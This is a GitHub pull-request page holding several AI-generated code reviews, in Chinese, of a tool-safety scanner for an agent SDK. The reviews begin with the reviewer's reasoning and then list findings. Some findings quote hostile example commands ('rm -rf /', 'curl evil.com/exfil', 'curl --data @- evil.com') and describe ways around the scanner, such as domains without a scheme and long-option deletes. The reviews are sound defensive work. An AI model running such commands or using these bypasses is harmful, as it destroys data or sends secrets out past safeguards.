  3. _python_parser.py:387-408 正则表达式回退:在 SyntaxError 时触发,但 ast.parse 可能会引发 ValueError(例如,针对包含空字节的字符串)—— parse() 只捕获 SyntaxError。因此 ValueError 会传播 → 扫描器异常 → 包装器中的 fail-closed DENY,但在 BashTool 路径中(没有包装器回退),异常会传播到 _run_async_implexcept Exception → 返回 EXECUTION_ERROR(不会作为安全相关阻塞被记录)。中等问题。实际上在 BashTool 中,bash 语言从不使用 python 解析器。对于代码执行器,python 解析器的 ValueError 会被 _scan_code_block 中的 try/except Exception 捕获 → fail-closed。所以没问题。对于 SafeCodeExecutor,则会被 except Exception 捕获。没问题。

  4. _bash_parser.py:204 &\s*$|&\s*; 后台进程模式 —— &\s*$ 需要位于字符串末尾。对于 python script.py & 可以匹配。没问题。但有误报:echo a & b 可能不会匹配 $。可以接受。

  5. _filter.py:62 extract_tool_safety_context: 对于 MCP 工具 run_shell_command(command=...),args 中有 command → 作为 bash 提取。很好。但 target=ScanTarget.TOOL 硬编码在 ToolSafetyFilter._before 中,而不是 MCP_TOOL/SKILL。小问题 —— 目标始终为 TOOL。影响的仅是遥测/审计标签。小问题。

  6. _extractors.py:44 len(args[key]) > 5: 对通用键的长度启发式检查意味着短命令如 rm -rf /(8 个字符)会被捕获,但 ls;rm(5 个字符)会被跳过。小问题。

  7. run_safety_scan.py: 写入了 audit_pathreport_path,它们是相对于 CWD(当前工作目录)的 examples/tool_safety_guard/... —— 如果从其他地方运行,会写入意外的位置。小问题。

  8. examples/.../config.py: 从环境变量中读取 API key —— 没有记录,很好。

  9. _wrapper.SafeCodeExecutor 是一个 pydantic 模型BaseCodeExecutor),其中 _scanner/_audit 设置在 __init__ 中的实例属性上 —— 但 pydantic v2 模型默认不允许任意属性,除非指定了 model_config。他们设置了 model_config = {"arbitrary_types_allowed": True},但这并不等于允许设置私有属性。实际上,设置 self._scanner = ... 可能会引发 ValidationError,因为 _scanner 不是一个字段。让我检查一下 BaseCodeExecutor 是否允许额外属性。这是一个潜在的真实 Bug —— 但测试 test_safe_code_delegates 模拟了 SafetyScanner,并且应该会执行到 __init__。嗯,如果模型是严格的,__init__ 本身就会失败。在没有运行的情况下无法确认。我会将其标注为需要验证但置信度较低的内容 —— 实际上跳过,因为我无法验证。

让我专注于验证过的、高置信度的问题。最清晰的是:

  • _policy.is_path_denied + 文件类 denied_paths 条目(docker.sock): 文件永远不会被拒绝。这是真实的。但它在默认路径中吗?默认的 denied_paths = 目录(/etc, /root, ~/.ssh 等)—— 都是目录,所以默认是没问题的。yaml 示例添加了 /var/run/docker.sock/proc, /sys/proc/sys 是目录(没问题)。docker.sock 是一个文件 → is_path_denied 从不拒绝它(只有子路径,而子路径没有意义)。因此,yaml 中的 docker.sock 是无效的配置。中等警告 —— 但这只是一个示例策略,不是默认值。我会将其包含在内,因为它展示了该 API 的缺陷。

让我再重新考虑一下去重问题,这是最能从代码中验证的“正确性” Bug:

_deduplicate_findings 键 = (rule_id, line)。考虑 _check_command_policy 产生 line 未设置(默认为 None)的发现结果 —— 例如 R003_SYSTEM_COMMAND “命令不允许”针对每一行不在允许列表中的非关键字命令。如果 bash 脚本有 3 行这样的内容,去重会将其折叠为 1 个发现结果。风险聚合使用 max_risk_level = MEDIUM → NEEDS_HUMAN_REVIEW。没有去重的话,它仍然是 MEDIUM(最大值,而不是计数)。所以聚合不受影响(它使用最大值,而不是计数)。所以这不是一个 Bug。好的,舍弃。

但是多行上的 R001_BASH_RECURSIVE_DELETE 呢 —— 每一行都有不同的行号,所以没有折叠。测试 test_findings_are_deduplicated 断言它被去重了 —— 但不同的行 → 不同的键 → 未去重。测试使用 "R001_BASH_RECURSIVE_DELETE" in rule_ids,这是真值(为真)无论是否去重。所以测试很弱,但代码没问题。

真正的一个:在 _check_dangerous_commands 中,它 return findings 会在第一次匹配危险删除/敏感路径时提前返回 —— 因此每行只有一个发现。结合每行迭代,没问题。

让我重新考虑 _check_command_policyreturn findings(第 338 行)—— 在第一个 denied command 上,它返回整个 _check_command_policy 的结果,跳过剩余行以及流水线审查检查。因此,一个在前面行有 rm -rf / 且在后面行有另一个危险命令的脚本,将只会报告被拒绝的那个。但由于它返回了 CRITICAL → DENY 聚合,执行仍然被阻止。安全性没问题;只是审计/报告不完整。可接受,不是 Bug。

现在是一个具体的 Bug:_bash_parser.py _check_network_egressall_whitelisted 逻辑 —— 初始化为 len(urls_found) > 0。如果存在网络工具但没有 URL(例如,curl 没有显式 URL,或 nc host),则 urls_found=[]all_whitelisted=False → 会添加网络工具发现结果。很好。如果 curl https://github.com(白名单)→ all_whitelisted=True → 不添加网络工具发现结果。很好。但如果是 curl https://github.com https://evil.com → 一个白名单,一个非白名单 → all_whitelisted=False → 两者都添加。很好。逻辑没问题。

让我敲定那些高置信度的问题:

警告 1: _telemetry.py:21 if not span —— get_current_span() 返回一个非记录的 span,它在布尔判断中为真;保护依赖于 is_recording()not span 子句基本上是死代码,但无害。实际上,根据 OTel 版本的不同,get_current_span() 可能会返回 NoneINVALID_SPAN。在 opentelemetry-api 中,当没有 span 时,它返回 trace.INVALID_SPAN(一个 NonRecordingSpan),其布尔值为真。所以 not span 为 False,然后 is_recording() 为 False → 返回。功能正常但 not span 子句本质上是死代码。小问题。不是一个强有力的发现点。

警告 2: UnsafeLocalCodeExecutor 扫描未传递 cwd/env/timeout 元数据 → 上下文检查被跳过。执行器有一个 timeout 字段(默认为 0),如果 > max_timeout_seconds,它本可以触发 R005。但默认的 timeout=0 意味着没有设置。真实的不一致。低-中置信度。

警告 3: is_path_denied 不匹配文件条目(docker.sock)。真实存在,但仅限于示例 yaml。中等。

鉴于我已经深入阅读且命令执行受阻,让我写一份包含最可辩护发现的审查。我会保持简洁,并使用 diff 文件行号。

让我验证 docker.sock 的行号以及 is_path_denied 的默认行为。默认的 denied_paths 中没有文件,所以默认是安全的。示例 yaml 包含了 docker.sock。因此,该发现适用于 tool_safety_policy.yaml:1188-1197_policy.py:176-187

对于执行器扫描不传递元数据的问题:_unsafe_local_code_executor.py:192-197 对比 _bash_tool.py:181-189

我还要指出 SafeCodeExecutor 的 pydantic 属性赋值风险,但降低置信度 —— 实际上,既然测试通过(它们在 diff 中,推测是在新的安全测试套件中运行的),那可能没问题。舍弃。

让我再检查一下:_filter.py 中的 ToolSafetyFilter._before 第 77 行 language=scan_req.language —— 但在扫描器错误时,scan_req 可能是有效的。没问题。

一个是警告级别的真正安全问题:scripts/run_safety_scan.py 样本 18 os.getenv('API_KEY') 被归类为 needs_human_review —— 代码 _check_env_secret_access 返回 MEDIUM。聚合 → NEEDS_HUMAN_REVIEW。符合预期。没问题。

一个是明确的 Bug:在 _python_parser._regex_fallback 中,解析失败发现使用了 rule_id="R003_SHELL_PIPE_EXECUTION",rule_name="Parse Failure"(解析失败)—— 用一个 shell 执行规则 ID 标记 Python 解析失败是一种误导。小问题。

让我写出最终的审查报告。我将包含:

  • 警告:is_path_denied 不保护文件路径(docker.sock,来自 yaml 的 .env 等)—— 默认安全,但策略 API 具有误导性,且示例 yaml 中有死配置。_policy.py:176-187
  • 警告:UnsafeLocalCodeExecutor._scan_code_block 忽略了执行器自身的 cwd/timeout,因此上下文资源/路径发现从未触发,这与 BashTool 不同。_unsafe_local_code_executor.py:192-197
  • 建议:解析失败发现重用了 R003_SHELL_PIPE_EXECUTION 规则 ID。_python_parser.py:400

我还将指出 _telemetrynot span 的死代码问题,作为一个小建议 —— 但受限于 2 条建议的限制。跳过。

我还要重新考虑测试有效性问题:test_findings_are_deduplicated 断言很弱(in),没有验证去重数量。建议级别。跳过以保持在限制内。

现在开始撰写。基于对 pr.diff 及相关仓库上下文(被调用方实现、类型定义、测试)的审查,结论如下。

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_policy.py:176-187is_path_denied 只拦截"位于 denied 条目之内"的子路径,文件型条目永远不会被拒绝

    • 该方法对 path_text == denied 直接 continue,仅匹配 denied + "/" 前缀,因此像 tool_safety_policy.yaml:1195 中列出的 /var/run/docker.sock(一个 socket 文件)这种非目录条目,无论 cwd 是否指向它都不会被判定为 denied——配置里写了但实际不生效,形成安全假象。建议对非目录条目(或显式标记为 file 的条目)增加精确匹配,或在文档中明确 denied_paths 仅适用于目录前缀。
  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:192-197:代码执行器扫描时未传递 cwd/env/tool_metadata

    • BashTool 的扫描请求(_bash_tool.py:181-189 传入 cwd/env/timeout)不同,_scan_code_block 构造的 ScanRequest 只有 script/language/tool_name/target,导致 _scan_context_safety 中的 cwd 拒绝路径检查、timeout/max_output_bytes 资源限制检查在 CodeExecutor 路径上完全失效,与 BashTool 行为不一致。建议把 self.work_dir/self.timeout 等传入 tool_metadatacwd

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_python_parser.py:400-407:Python AST 解析失败时追加的"Parse Failure" finding 复用了 R003_SHELL_PIPE_EXECUTION 这一 shell 执行规则 ID,rule_id 与语义不符,会干扰审计/规则统计。建议使用独立的 Rxxx_PARSE_FAILURE 规则 ID。

总结

整体实现结构清晰、fail-closed 处理到位,未发现安全或核心功能层面的 Critical 问题;两处 Warning 分别是 denied_paths 对文件型条目不生效、CodeExecutor 扫描未传递上下文导致部分策略失效,建议修复以保证两种接入路径语义一致。

测试建议

  • 补充用例:denied_paths 中放入文件型路径(如 /var/run/docker.sock),断言 is_path_denied 对其精确匹配的行为,明确当前语义。
  • 补充用例:UnsafeLocalCodeExecutor(enable_safety_guard=True, timeout=<超过 max_timeout_seconds>) 执行安全代码,验证是否触发 R005 资源限制(当前预期不触发,应固化该行为或修复后断言触发)。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

正确的 API 应该是 add_one_filter(它在非强制模式下通过名称去重)。因此 add_tool_safety_filter 应该使用 tool.add_one_filter(ToolSafetyFilter(...)),而不是进行直接赋值。

现在我已经有了所需的一切。让我再验证一下 ToolSafetyFilter 是否设置了 self._name(确实设置了,在 __init__ 中设为 "tool_safety"),因此 add_one_filter 的名称去重功能可以正常工作。

让我快速确认一下 Python 版本的行为不会产生干扰 —— 即使属性没有 setter,在 Python 3.11 及以上版本中,普通实例的属性赋值仍可能成功吗?不会:一个没有 setter 的 @property 在赋值时会引发 AttributeError。在 MagicMock 中这之所以能“工作”仅仅是因为 Mock 会自动生成属性。对于真实的 BaseTool 实例,这会失败。已确认。

让我来写评审报告。我还想指出一个值得一提的稳定性问题:SafeCodeExecutor.execute_codeUnsafeLocalCodeExecutor 中的扫描循环在 should_block 为 false 时,依然会执行原始输入 —— 这是符合预期的(review 并不会阻塞)。没问题。

再检查一个潜在问题:_filter._before 的 fail-closed 异常处理程序捕获了 Exception,但如果 extract_tool_safety_context 本身抛出异常(在 try 之外),会导致整个过滤器崩溃。让我检查一下 —— extract_tool_safety_context 在 try 块之外被调用。如果它抛出异常,_before 会抛出异常,而 BaseFilter.run 会捕获它并返回 (None, ex) —— 这会阻塞工具(第 215 行:if result.error or not result.is_continue: return result)。等等,run 返回了 None, ex(一个元组)—— 让我重新检查一下第 213-215 行。

再看一下:run 在第 213 行 except 中返回 return None, ex(一个元组)。这表示过滤器失败。因此,提取过程中的异常会导致 fail-closed(故障关闭)—— 可以接受。不是 bug。

现在开始撰写评审报告。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:128-129add_tool_safety_filter 直接对 tool.filters 赋值,但 filtersFilterRunnerBaseTool 的父类)上是只读 @property,没有 setter。
    • 对真实的 BaseTool/MCPTool/SkillTool 实例调用会抛 AttributeError: property 'filters' of 'FilterRunner' object has no setter,导致 SafetyWrappedToolSet.get_tools()(以及集成示例 create_skill_toolset)整个安全注入路径在运行时直接崩溃,安全防护完全失效。现有测试用 MagicMock(可任意赋值)掩盖了该问题。应改用框架已有的 tool.add_one_filter(ToolSafetyFilter(...))(其内部按 name 去重),示例:
      # 当前(崩溃)
      tool.filters = [f for f in tool.filters if not isinstance(f, ToolSafetyFilter)]
      tool.filters.append(ToolSafetyFilter(...))
      # 建议
      tool.add_one_filter(ToolSafetyFilter(policy=policy, audit_path=audit_path, block_on_review=block_on_review))

⚠️ Warning

  • tests/tools/safety/test_filter.py:154-160tests/tools/safety/test_wrapper.py:210-256:覆盖 add_tool_safety_filter / SafetyWrappedToolSet.get_tools 的测试全部使用 MagicMock 作为 tool,从未对真实 BaseTool 跑通。

    • 这正是上面 Critical 问题未被发现的原因——测试只验证了 mock 上的赋值,没有覆盖真实工具的注入路径。建议补一个用真实 BashTool(或 SkillToolSet.get_tools() 返回的真实工具)调用 add_tool_safety_filter 的集成测试,确保注入路径在真实对象上可用。
  • examples/tool_safety_guard/integration_demo/agent/tools.py:748create_skill_toolset 读取传入 safety_filter 的私有属性 safety_filter._block_on_review

    • 跨越模块边界依赖私有字段,后续 ToolSafetyFilter 内部重构会直接破坏示例。建议在 ToolSafetyFilter 暴露公共访问器,或由调用方显式传入 block_on_review 参数而非从 filter 反读。
  • trpc_agent_sdk/tools/safety/_policy.py:5456(dataclass 默认 max_timeout_seconds: int = 30)与 PolicyConfig.default() 中的 max_timeout_seconds=300 不一致。

    • 任何直接 PolicyConfig()(不经 default())构造的实例会用 30s 上限,而文档与默认实例用 300s,可能导致超时阈值判断在不同入口下行为不一致。建议将 dataclass 默认值也改为 300,或移除 dataclass 默认以避免歧义。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_parser.py:5052-5163_check_command_policy):默认策略下 allowed_commands 非空,任何未列入的命令都会产生 MEDIUM finding(NEEDS_HUMAN_REVIEW),叠加 review_shell_pipelines 对任意 ;/| 的告警,会使 BashTool 在开启安全防护后几乎所有非平凡命令都被标记为需人工审核。建议在 README/DESIGN 中明确该“正向白名单”语义,或提供更宽松的预设策略,避免用户开启后体验为“全部被拦”。

总结

存在一个必须修复的 Critical 问题:add_tool_safety_filter 向只读 filters 属性赋值,导致 SafetyWrappedToolSet 及示例中的 Skill 安全注入路径对真实工具运行即崩溃、安全防护失效,且因测试用 mock 掩盖未被覆盖。其余为兼容性/测试覆盖类 Warning,建议一并处理。

测试建议

  • 补一个用真实 BaseTool(如 BashTool)调用 add_tool_safety_filter 的测试,验证不抛 AttributeError 且 filter 真正进入工具过滤链。
  • 补一个 SafetyWrappedToolSet 包裹返回真实工具的 SkillToolSet/MCPToolset 并调用 get_tools() 的集成测试,确认安全过滤注入在真实对象上生效。

Comment thread trpc_agent_sdk/tools/safety/_filter.py Outdated
Each tool gets its own filter instance to avoid state leakage.
"""
for tool in tools:
tool.filters = [f for f in tool.filters if not isinstance(f, ToolSafetyFilter)]

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

向只读 filters 属性赋值导致安全注入崩溃

add_tool_safety_filter 直接对 tool.filters 赋值,而 FilterRunner 上的 filters 是只读 @property 无 setter,真实 BaseTool/MCPTool/SkillTool 实例调用会抛 AttributeError,使 SafetyWrappedToolSet.get_tools() 及示例注入路径运行即崩溃、安全防护失效。应改用 tool.add_one_filter(ToolSafetyFilter(...))

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经准备好了。让我来写最终的审查报告。

发现的问题

🚨 Critical

(无)

⚠️ Warning

  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:200-203:审计 blocked 字段与实际阻断状态不一致

    • _scan_code_block 在扫描每个 block 后立即 record(report),此时 report.blocked 仅由 SafetyScanner.scandecision==DENY 设置。但 execute_code 的真正阻断判断在聚合后(含 block_on_reviewNEEDS_HUMAN_REVIEW 也阻断)。当 block_on_review=True 命中 review 时,执行被阻断但审计日志记录的是 blocked=False,与 SafeCodeExecutor(先聚合再 set_blocked 后审计)的行为矛盾。建议参照 SafeCodeExecutor:先聚合所有 block findings 计算 should_block,再对各 report set_blocked 后统一审计。
    report = self.safety_scanner.scan(req)
    if self._safety_audit:
        self._safety_audit.record(report)   # blocked 未反映聚合后的真实阻断
    set_safety_telemetry(report)
  • examples/tool_safety_guard/README.md:340:样例 18 预期结果与实际扫描/测试脚本不符

    • README 表格标注样例 18 (os.getenv('API_KEY'); print(secret)) 预期为 ALLOW,但 _check_env_secret_access 会命中 R006_SECRET_ENV_ACCESS(MEDIUM)→ 实际为 needs_human_reviewscripts/run_safety_scan.py:47EXPECTED["18"] 也确认为 needs_human_review。文档会误导接入方对检测能力的预期,建议将 README 该行改为 NEEDS_HUMAN_REVIEW。同时 scripts/run_safety_scan.py:7 的 docstring 仍写 “Batch scan 12 safety samples”,实际为 26 个,建议同步更正。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_parser.py:328-374_check_command_policy 中 denied/review/not-allowed 三类 finding 均未设置 line(默认 None),结合 _deduplicate_findings(rule_id, line) 去重,会使多行脚本中不同行触发的同类策略命中被合并为单条,削弱了“哪一行违规”的定位能力。建议记录当前行号,便于审计与排障。

总结

整体实现结构清晰、fail-closed 处理一致、别名/getattr 逃逸检测与测试覆盖较扎实,未发现阻断级缺陷。主要风险是 UnsafeLocalCodeExecutor 审计 blocked 字段未反映聚合后的真实阻断状态(与 SafeCodeExecutor 不一致),以及 README 中样例 18 的预期结果文档与实现不符,建议修复后再合入。

测试建议

  • 补充 UnsafeLocalCodeExecutorblock_on_review=True 且某 block 命中 NEEDS_HUMAN_REVIEW 时,审计日志 blocked 字段为 True 的断言(对齐 SafeCodeExecutor 已有测试)。
  • 暂无其他额外测试建议。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

已确认。现在我来写最终的审查报告。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_parser.py:137-180:无 URL scheme 的网络命令无法触发域名白名单 HIGH 告警,存在检测绕过风险
    • _check_network_egress 只对 http(s):// URL 和 nc/netcat/socat 裸主机名做白名单校验,而 curl/wget 后跟裸域名(如 curl evil.com/exfilcurl --data @- evil.com)时既不会命中 _URL_RE 也不会命中 _HOSTNAME_RE,因此 all_whitelisted 保持 False 但只产出 MEDIUM 的 R002_CURL_EXTERNAL_REQUEST,最终决策为 NEEDS_HUMAN_REVIEW 而非 DENY。这使未加 scheme 的外连可绕过高危阻断,与样例 04(带 scheme 时 DENY)行为不一致。建议将 curl/wget 后的首个非选项参数也纳入域名解析与白名单检查,或对该场景至少提升到 HIGH。

⚠️ Warning

  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:131-151:安全放行的执行不会写审计与遥测,破坏"每次决策留痕"契约

    • 审计/遥测记录被包在 if all_findings: 分支内,当脚本通过扫描(无 finding)时既不写审计也不发 telemetry,与 BashToolSafeCodeExecutor(无条件记录所有 report)行为不一致,也违背 README 中"每次决策(allow 或 deny)都会留下痕迹"的描述。建议将 reportsaudit.record / set_safety_telemetry 循环移出 if all_findings:,确保 allow 场景也留痕(注意当前 reports 仅在 all_findings 非空时才聚合了 report,需调整为始终收集每个 block 的 report)。
  • trpc_agent_sdk/tools/safety/_wrapper.py:69-77SafeCodeExecutor 构造 ScanRequest 未传 cwd/tool_metadata,上下文检查全部失效

    • UnsafeLocalCodeExecutor._scan_code_block(传入 cwd=self.work_dirtool_metadata={"timeout": self.timeout})不同,SafeCodeExecutor 只传 script/language/tool_name/target,导致 _scan_context_safety 中的 denied-path 工作目录检查和 timeout/max_output 资源限制检查永远不会触发,SafeCodeExecutor 的安全覆盖面小于 opt-in 路径。建议传入与内层 executor 一致的 cwdtool_metadata(含 timeout、max_output_bytes 等)。
  • scripts/run_safety_scan.py:100-107:样本回归失败时仍以退出码 0 退出,无法作为 CI 门禁

    • 脚本携带 EXPECTED 期望表并打印 [PASS]/[FAIL]Passed: N/M,具备回归测试语义,但 main() 未根据 passed != len(results) 调用 sys.exit(1)。若 CI 直接调用该脚本(README 快速开始即推荐它),样本检测回归会被静默放行。建议在存在不匹配样本时以非零码退出,或明确在文档中声明其仅为报告生成工具、非门禁。
  • examples/tool_safety_guard/integration_demo/agent/tools.py:83-100create_skill_toolsetsafety_filter 参数被忽略

    • 函数接收 safety_filter 但实际由 SafetyWrappedToolSet 内部用 policy 重新创建 filter,传入的实例未被使用。该 demo 会被其他开发者参考复用,未使用参数易误导调用者以为外部 filter 生效。建议移除该参数,或在 SafetyWrappedToolSet 支持注入既有 filter 实例。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_telemetry.py:24-26:将所有 span 属性强制 str(value) 会把布尔/数值指标序列化为字符串(如 "True"),影响仪表盘聚合。建议按原始类型透传(OpenTelemetry set_attribute 支持 str/int/float/bool/序列),仅对非基础类型做 str 兜底。

总结

整体安全守卫实现完整、测试覆盖较充分,fail-closed 与脱敏处理到位;存在 1 个 Critical 检测绕过风险(无 scheme 的 curl 裸域名仅判 MEDIUM)需修复,另有审计留痕不一致、SafeCodeExecutor 上下文检查缺失、示例脚本退出码与未用参数等 Warning 级问题建议一并处理。

测试建议

  • 补充 curl evil.com/pathwget malicious.host(无 http:// 前缀)的 Bash 扫描用例,断言决策为 DENY 或至少命中 R002_NON_WHITELIST_DOMAIN_ACCESS
  • 补充 UnsafeLocalCodeExecutor(enable_safety_guard=True) 在安全代码(如 print('hi'))执行后审计日志/telemetry 被写入的断言,以及 SafeCodeExecutorcwd 为 denied path、timeout 超限时触发上下文 finding 的断言。

has_network_tool = True
break

# Check http/https URLs against domain whitelist

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

无 scheme 的 curl/wget 裸域名绕过高危阻断

_check_network_egress 仅对 http(s):// URL 和 nc/netcat/socat 裸主机名做白名单校验;curl/wget 后跟裸域名(如 curl evil.com/exfil)既不命中 _URL_RE 也不命中 _HOSTNAME_RE,只产出 MEDIUM 的 R002,最终决策为 NEEDS_HUMAN_REVIEW 而非 DENY,可绕过高危阻断。建议将 curl/wget 首个非选项参数纳入域名解析与白名单检查,或至少提升到 HIGH。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经获取了所需信息。让我来整理最终审查结论。

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_parser.py:139,181-184,197:白名单内裸域名(无 http:// 前缀)仍会被标记为网络工具风险

    • all_whitelisted 初始值为 len(urls_found) > 0,当 curl github.com 这种无 scheme 的白名单域名时 urls_found 为空,初始化为 False;裸域名分支虽确认 github.com 在白名单内,但未把 all_whitelisted 置 True,导致第 197 行 not all_whitelisted 仍成立,追加一条 MEDIUM 的 R002_CURL_EXTERNAL_REQUEST。结果是访问白名单域名被判定为 NEEDS_HUMAN_REVIEW,与白名单“放行”的语义相悖。修复:当裸域名在白名单内时将 all_whitelisted 置为 True(或改用“存在网络工具且至少有一个非白名单目标”的判定)。
    • 现有 test_curl_whitelisted 只覆盖了带 https:// 的 URL 路径(tests/tools/safety/test_bash_parser.py:60),未覆盖裸域名白名单场景,故该缺陷未被测试捕获。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:160-174_HOSTNAME_REnc/netcat/socat 后的选项参数误判为主机名

    • 正则 \b(nc|netcat|socat)\s+([^\s;|&]+) 直接取首个非空白 token 作为 hostname,未排除以 - 开头的选项。如 nc -l 1234 会把 -l 当作非白名单域名,产生 HIGH 级 R002_NON_WHITELIST_DOMAIN_ACCESS,进而触发 DENY,造成合法监听命令被误拦。修复:在取 hostname 前跳过 - 开头的 token,或复用 _extract_bare_hostname 的选项跳过逻辑。
  • trpc_agent_sdk/tools/safety/_rules.py:185-187trpc_agent_sdk/tools/safety/_bash_parser.py:5147-5206:长选项形式的递归删除可绕过 critical 检测

    • BASH_DANGEROUS_DELETE_PATTERNS 仅匹配 rm -rf? 短选项形式,rm --recursive --force / 不匹配该正则;denied_commands 也只含 rm -rf / 等短形式,shlex token 前缀比对同样不命中。最终仅由“命令不在 allowed_commands”产生一条 MEDIUM,决策为 NEEDS_HUMAN_REVIEW 而非 DENY,递归删除系统路径的 critical 风险被降级。修复:在删除模式中增加 rm\s+--(recursive|force) 等长选项匹配,或在 denied_commands 比对前做选项归一化。
  • trpc_agent_sdk/tools/safety/_policy.py:5711-5729is_path_denied 对等于拒绝目录的 cwd 放行

    • cwd 恰好等于某 denied 目录(如 /root~/.ssh)时,按注释“being IN the denied dir is allowed”返回 False,意味着工具可在该敏感目录内执行。虽为注释中明示的设计,但对安全守卫而言属于可被利用的弱点(如在 ~/.ssh 内读写密钥不被拦截)。建议至少对 ~/.ssh~/.aws~/.kube 这类凭据目录收紧为“进入即拒绝”,或在文档中显式提示该取舍。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_python_parser.py:6110-6115parse 仅捕获 SyntaxError 回退正则,ast.parse 对含 null 字节等输入会抛 ValueError 直接传播。Filter/Wrapper 层有 fail-closed 兜底故不致漏放,但直接调用 SafetyScanner.scan(如 scripts/tool_safety_check.py)会异常退出。建议将 except SyntaxError 扩为 except (SyntaxError, ValueError) 走 regex 回退,保持 CLI 行为稳定。

总结

整体为一个新增的工具脚本安全守卫模块,结构与测试覆盖较完整,fail-closed 设计合理。未发现导致危险代码直接放行的 Critical 缺陷;存在若干检测逻辑误报/漏报问题(裸域名白名单失效、nc -l 误判、长选项递归删除绕过),均为 Warning 级,建议修复以提升检测准确性与可用性。

测试建议

  • 补充 curl <白名单裸域名>(无 scheme)应不产生网络相关 finding 的用例,覆盖 _bash_parser.py 裸域名白名单分支。
  • 补充 nc -l 1234rm --recursive --force / 等用例,验证选项误报与长选项删除绕过修复后行为正确。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经掌握了所需的所有信息。让我来编写最终的审查报告。

发现的问题

🚨 Critical

未发现必须修复的阻塞性问题。扫描器整体采用 fail-closed 策略,无命令注入/凭证泄露/路径穿越风险,opt-in 默认关闭不破坏现有行为。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_parser.py:110-113(与 _python_parser.py:294-307):Python 字符串字面量误报导致合法代码被 DENY

    • visit_Constant所有字符串常量做敏感词匹配,_check_sensitive_path 命中 password/token/secret/credentials 等词即产生 HIGH finding,而 HIGH 经 aggregate_decision 直接转为 DENY。因此 config = {"password": ...}print("token expired") 这类常见合法代码会被阻断执行。建议仅对 open/read/write 等文件操作调用的参数做敏感路径检查,而非对所有字符串字面量检查。
  • trpc_agent_sdk/tools/safety/_wrapper.py:77(依赖 _types.py:123-133 normalize_language):未标注语言的 Python 代码块按 Bash 扫描,绕过 Python 规则

    • CodeBlock.language 默认为 ""normalize_language("") 返回 BASH,导致 os.system('rm -rf /') 这类无语言标注的 Python 代码走 BashParser,只会得到 MEDIUM 的 "Command Not Allowed"(NEEDS_HUMAN_REVIEW),而非 Python 规则的 DENY,形成检测降级。建议在 normalize_language 中对空串根据 target/上下文给出更安全默认,或在 executor 侧要求显式语言。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:47-57(结合 _check_dangerous_commands :64-78):行内注释中的危险命令触发误报阻断

    • 逐行扫描仅跳过以 # 开头的整行注释,行内注释不剥离。echo ok # rm -rf / 会被 rm\s+-rf?\s 正则命中产生 CRITICAL → DENY,合法脚本被误阻断。建议对每行先剥离 #... 行内注释再匹配。
  • trpc_agent_sdk/tools/safety/_extractors.py:65(同文件 :77 args=args.get('args', [])):env/args 显式传 None 时扫描器抛异常

    • args.get('env', {}) 在调用方传入 {"env": None} 时返回 None,随后 _is_env_contains_sensitive_keysfor key in envTypeErrorargs 同理在 _scan_context_safety 遍历时崩溃。虽然 fail-closed 会兜底为 DENY,但合法请求被误阻断且原因不可见。建议 args.get('env') or {} 兜底。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_filter.py:117-127add_tool_safety_filter 的"重复调用是 no-op"注释与实现略有出入
    • add_one_filter 确实按 name 去重,但本函数每次都会先构造新的 ToolSafetyFilter 实例(含 scanner/audit)再交给 add_one_filter 判重,重复调用时存在无谓开销。可先按 name 检查是否已存在再构造,或修正注释措辞。

总结

整体设计合理、opt-in 默认安全、fail-closed 兜底到位,无 Critical 安全或逻辑漏洞。主要风险集中在检测规则的误报面:Python 字符串字面量敏感词匹配、行内注释未剥离、空语言代码块走 Bash 路径,以及 env/argsNone 时的健壮性,这些都会在开启安全守卫后误阻断合法代码执行,建议修复。

测试建议

  • 补充用例:{"password": "x"}print("token expired") 等含敏感词字面量的合法 Python 不应被 DENY。
  • 补充用例:无 language 标注的 os.system(...) Python 代码块经 SafeCodeExecutor/UnsafeLocalCodeExecutor 应被识别为 DENY(而非降级为 REVIEW)。
  • 补充用例:echo ok # rm -rf / 不应被误判为 CRITICAL;以及工具入参 env=None/args=None 时不应抛异常。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

构建 Tool 执行脚本安全扫描、Filter 拦截与监控机制

2 participants